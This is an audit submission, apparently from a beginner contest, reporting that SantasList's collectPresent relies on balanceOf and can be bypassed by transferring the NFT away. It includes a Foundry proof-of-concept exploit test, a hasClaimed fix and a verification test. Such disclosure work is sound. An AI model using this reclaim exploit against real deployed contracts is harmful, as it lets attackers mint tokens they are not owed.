Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Exploiting `collectPresent` bypassing one time claim limit via NFT Transfer

Summary

As detailed in the contract comment a user should not be allow to collect more than once

addresses should not be able to collect more than once.

The collectPresent method revert if the user has more than 0 nft.
In theory it should revert after the first mint but if the user transfers their NFT to another address they could keep collecting more NFTs and potentially Santa tokens.

Vulnerability Details

Below, we can see that this method checks the msg.sender's balance, which is an unsafe check:

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
// @audit-issue User can transfer their NFT to an to an other address allowing them to claim multiple times
if (balanceOf(msg.sender) > 0) { // <----
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

This POC demonstrate that a user is able to exploit this check by transferring the NFT and mint an unlimited amount of tokens.

Copy this test into the SantasListTest.t.sol file

function testUnlimitedClaim() public {
address exploiter = makeAddr("exploiter");
address exploiter2 = makeAddr("exploiter2");
// Santa set the user Status
vm.startPrank(santa);
santasList.checkList(exploiter, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(exploiter, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(exploiter);
// The exploiter collect his first NFT and Santa token
santasList.collectPresent();
assertEq(santaToken.balanceOf(exploiter), 1e18);
assertEq(santasList.balanceOf(exploiter), 1);
// The exploiter send his nft to an other address
santasList.transferFrom(exploiter, exploiter2, 0);
// The exploiter is able to collect a second time
santasList.collectPresent();
assertEq(santasList.balanceOf(exploiter), 1);
// The exploiter send his nft to an other address AGAIN
santasList.transferFrom(exploiter, exploiter2, 1);
// At the end the exploiter own 2 NFT
assertEq(santasList.balanceOf(exploiter2), 2);
// The exploiter also own more Santa token than expected
assertEq(santaToken.balanceOf(exploiter), 2e18);
vm.stopPrank();
}

Run the test

forge test -vvvv --match-test testUnlimitedClaim

As you can see in the POC the user bypassed the balance check

Impact

This vulnerability allows a user with a status of NICE to mint an unlimited amount of NFTs.
A user with a status of EXTRA_NICE will be able to mint an unlimited amount of NFTs and Santa tokens.

Tools Used

Forge test

Recommendations

Instead of relying on the balance of NFTs to determine if a user has already claimed a present,
maintain an independent mapping that tracks whether each address has claimed their present.
This mapping should be updated when a present is claimed, regardless of any subsequent NFT transfers.

Add the following mapping

mapping(address => bool) private hasClaimed;

Update your method as follows:

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (hasClaimed[msg.sender]){
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ hasClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

You can verify that this implementation is safe by running the following test

function testUnlimitedClaimSafe() public {
address exploiter = makeAddr("exploiter");
address exploiter2 = makeAddr("exploiter2");
// Santa set the user Status
vm.startPrank(santa);
santasList.checkList(exploiter, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(exploiter, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(exploiter);
// The exploiter collect his first NFT and Santa token
santasList.collectPresentSafe();
assertEq(santaToken.balanceOf(exploiter), 1e18);
assertEq(santasList.balanceOf(exploiter), 1);
// The exploiter send his nft to an other address
santasList.transferFrom(exploiter, exploiter2, 0);
// The exploiter TRY to collect a second time but FAIL
vm.expectRevert(0x0cca637b); // SantasList__AlreadyCollected()
santasList.collectPresentSafe();
vm.stopPrank();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.